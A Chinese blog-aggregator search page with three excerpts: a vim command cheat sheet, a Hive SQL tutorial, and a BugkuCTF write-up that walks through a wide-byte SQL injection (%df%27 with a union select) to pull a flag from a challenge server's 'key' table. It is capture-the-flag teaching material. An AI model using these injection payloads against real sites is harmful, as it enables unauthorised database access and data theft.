首页 文章 精选 留言 我的

精选列表

搜索[SQL编辑器],共10013篇文章
优秀的个人博客,低调大师

vim 编辑器基本使用

VIM的基本使用 插入 i 在光标前插入 I(大写字母i)在行首插入 a在光标之后插入 A在行尾插入 o在下一行插入 O在上一行插入 r输入替换光标位置字符 R进入输入替换模式 -(减号)大小写转换 ESC 退出编辑模式 搜索 /str 从光标位置开始向下搜索字符 str ?str 从光标位置开始向上搜索字符 str n 找下一个 N 找上一个 复制 yy 复制当前行 nyy 复制从当前开始的n行 n为数字 如 5yy 粘贴 p 粘贴到光标下一行 P 粘贴到光标上一行 替换 :%s/abc/123/g 将所有的abc替换为123 :%s/abc/123/gc 含义同上 但是要一个一个的确认 删除 D当前光标位置开始删除到行尾 dd 删除光标当前行 ndd 删除从光标行开始向后删除n行 n为数字 如 5dd dnG 删除从第n行到当前行的数据 n为数字 d1G 从第一行到当前行的数据 dG 删除从当前行到最后一行的数据 x向后删除一个字符 nx向后删除n个字符 X向前删除1个字符 撤销 u退回前一个动作 Ctrl+r 重复前一个动作 :e! 文档还原到最原始的状态 保存 :w 保存 :w! 强制保存 :w filename 文件另存为filename :n1,n2 w fileName 将n1行到n2行的数据另存为fileName 退出 :q 退出 :q! 强制不保存退出 :wq! 强制保存退出 :x 保存并退出 块操作 v字符选择 光标经过的字符被选中 V行选择 光标经过的行被选中 ctrl+r 块选择 矩阵方式选中 y复制选中的数据 d删除选中的数据 多文件编辑 vim file1 file2 同时编辑两个文件file1和file2 :files列出vim当前打开的文件列表 :n编辑下一个文件 :N编辑上一个文件 多窗口操作 :sp file2 在打开一个文件后,用:sp 在新的窗口中打开另外一个文件file2 窗口向下切换 先按 ctrl+w 再按 j 窗口向上切换 先按 ctrl+w 再按 k 光标移动 上下左右键 h j k $光标到行尾 0光标到行首 G光标到文档最后一行 gg光标到文档第一行 nG / :n 光标到文档的第n行 n 光标向下移动n行 n 向后移动n字符 pageup / ctrl + b 向上翻页 pagedown / ctrl + f 向下翻页 其他操作 set nu 显示行号 set nonu 取消行号 :r file 把file文件内容插入到当前光标所在位置之下 :!command 暂时离开vim执行command命令 如 :!top

优秀的个人博客,低调大师

Hive 简单SQL

1.创建表 (1)内部表和外部表的区别 默认创建的是内部表,可以指定目录,如果不指定则会创建默认目录,一旦drop,该目录和数据都会被删除 创建external table 的时候需要指定存放目录,并且drop表的时候,不会删除该目录和目录下的数据,只会删除元信息 #创建一个外部表 0: jdbc:hive2://192.168.163.102:10000> create external table t10(c1 int,c2 string)row format delimitedfields terminated by ',' stored as testfilelocation "/dir1"; [root@Darren2 tmp]# hdfs dfs -put file1 /dir1 [root@Darren2 tmp]# hdfs dfs -ls -R /dir1 -rw-r--r--1 root supergroup24 2017-11-25 20:53 /dir1/file1 0: jdbc:hive2://192.168.163.102:10000> drop table t10; No rows affected (0.41 seconds) [root@Darren2 tmp]# hdfs dfs -ls -R /dir1 17/11/25 20:56:41 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable -rw-r--r--1 root supergroup24 2017-11-25 20:53 /dir1/file1 #创建一个默认的内部表 0: jdbc:hive2://192.168.163.102:10000> create table t2(c1 int,c2 string) row format delimited fields terminated by ',' stored as textfile; (2)Hive支持的存储文件格式 textfile, sequencefile, orc, parquet,avro 0: jdbc:hive2://192.168.163.102:10000> create table t5(c1 int,c2 string) row format delimited fields terminated by ',' stored as sequencefile ; 0: jdbc:hive2://192.168.163.102:10000> insert into t5 select * from t4; #作为sequencefile格式存储的文件无法直接查看其内容 [root@Darren2 tmp]# hdfs dfs -ls/user/hive/warehouse/testdb1.db/t5/ -rwxr-xr-x1 root supergroup146 2017-11-26 03:03 /user/hive/warehouse/testdb1.db/t5/000000_0 0: jdbc:hive2://192.168.163.102:10000> desc formatted t5; 2.导入数据到hive 语法: LOAD DATA [LOCAL] INPATH 'filepath' [OVERWRITE] INTO TABLE tablename [PARTITION (partcol1=val1, partcol2=val2 ...)] (1) 直接把本地的文件导入到hive中的表 0: jdbc:hive2://192.168.163.102:10000> load data local inpath '/tmp/file1' into table t1; 0: jdbc:hive2://192.168.163.102:10000> select * from t1; +--------+--------+--+ | t1.c1| t1.c2| +--------+--------+--+ | 1| aaa| | 2| bbb| | 3| ccc| | 4| ddd| +--------+--------+--+ (2)加载数据到表中,但是会覆盖表中所有数据,实质是覆盖t1目录下的所有文件 0: jdbc:hive2://192.168.163.102:10000> load data local inpath '/tmp/file3' overwrite into table t1; No rows affected (0.597 seconds) 0: jdbc:hive2://192.168.163.102:10000> select * from t1; +--------+---------+--+ | t1.c1|t1.c2| +--------+---------+--+ | 1| yiyi| | 2| erer| | 3| sansan| | 4| sisi| +--------+---------+--+ 4 rows selected (0.073 seconds) (3)把hdfs上的文件导入到hive中的表 [root@Darren2 tmp]# cat /tmp/file2 5,eee [root@Darren2 tmp]# hdfs dfs -put /tmp/file2 /user/hive/warehouse/testdb1.db/t1 0: jdbc:hive2://192.168.163.102:10000> load data inpath '/user/hive/warehouse/testdb1.db/t1/file2' into table t1; 0: jdbc:hive2://192.168.163.102:10000> select * from t1; +--------+--------+--+ | t1.c1| t1.c2| +--------+--------+--+ | 1| aaa| | 2| bbb| | 3| ccc| | 4| ddd| | 5| eee| +--------+--------+--+ (4)根据一个表创建另一个表,同时插入数据 0: jdbc:hive2://192.168.163.102:10000> create table t2 as select * from t1; (5)根据一个表先创建表结构,后插入数据 0: jdbc:hive2://192.168.163.102:10000> create table t3 like t1; 0: jdbc:hive2://192.168.163.102:10000> insert into t3select * from t1; 3,从查询结果导数据到文件系统中 (1)从查询结果导数据到HDFS文件系统中 0: jdbc:hive2://192.168.163.102:10000> select * from t1; +--------+---------+--+ | t1.c1|t1.c2| +--------+---------+--+ | 1| yiyi| | 2| erer| | 3| sansan| | 4| sisi| +--------+---------+--+ 0: jdbc:hive2://192.168.163.102:10000> insert overwrite directory '/user/hive/warehouse/tmp' select * from testdb1.t1; [root@Darren2 tmp]# hdfs dfs -ls -R /user/hive/warehouse/tmp -rwxr-xr-x1 root supergroup30 2017-11-26 00:25 /user/hive/warehouse/tmp/000000_0 [root@Darren2 tmp]# hdfs dfs -get /user/hive/warehouse/tmp/000000_0 /tmp/ 导出的文件的分隔符对应的ASCII码是Ctrl+a 即\001 [root@Darren2 tmp]# vim /tmp/000000_0 1^Ayiyi 2^Aerer 3^Asansan 4^Asisi 利用这个文件创建一个外部表,使用\001为分隔符 0: jdbc:hive2://192.168.163.102:10000> create external table t5(c1 int,c2 string) row format delimited fields terminated by '\001' location '/user/hive/warehouse/tmp/'; 0: jdbc:hive2://192.168.163.102:10000> select * from t5; +--------+---------+--+ | t5.c1|t5.c2| +--------+---------+--+ | 1| yiyi| | 2| erer| | 3| sansan| | 4| sisi| +--------+---------+--+ (2)从查询结果导数据到本地 0: jdbc:hive2://192.168.163.102:10000> insert overwritelocal directory '/tmp' select * from testdb1.t1; [root@Darren2 tmp]#ls /tmp/000000_0 /tmp/000000_0 4 insert (1) insert 插入数据的实质是建立一个文件 0: jdbc:hive2://192.168.163.102:10000> insert into t5 values(4,'sisi'); No rows affected (17.987 seconds) 0: jdbc:hive2://192.168.163.102:10000> dfs -ls /user/hive/warehouse/testdb1.db/t5; +----------------------------------------------------------------------------------------------------------------+--+ |DFS Output| +----------------------------------------------------------------------------------------------------------------+--+ | Found 2 items| | -rwxr-xr-x1 root supergroup146 2017-11-26 03:03 /user/hive/warehouse/testdb1.db/t5/000000_0| | -rwxr-xr-x1 root supergroup106 2017-11-26 04:22 /user/hive/warehouse/testdb1.db/t5/000000_0_copy_1| +----------------------------------------------------------------------------------------------------------------+--+

优秀的个人博客,低调大师

BugkuCTF sql注入

前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~ 点开链接一看 很明显可以看出查询key表,id=1的string字段 我们去构造payload: http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20# 我们发现没有出来 ,诶,怎么什么都没有了 ,继续重头开始 ,看一下是什么注入 发现id=1和id=1’都没错,这时候我们想起了宽字节注入 ,试一下 果然是这个样子,有关宽字段的讲解可以参考这里。 那么就好了构造payload: http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'# 报错,我们可以知道是引号的问题 ,那试一下另一种引号 http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`# 这种引号在tab键的上面 发现还报错 ,才想起来了可能是#的问题 把#改成%23试试看 http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`%23 直接爆出了key,这应该是我们需要的flag 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

用户登录
用户注册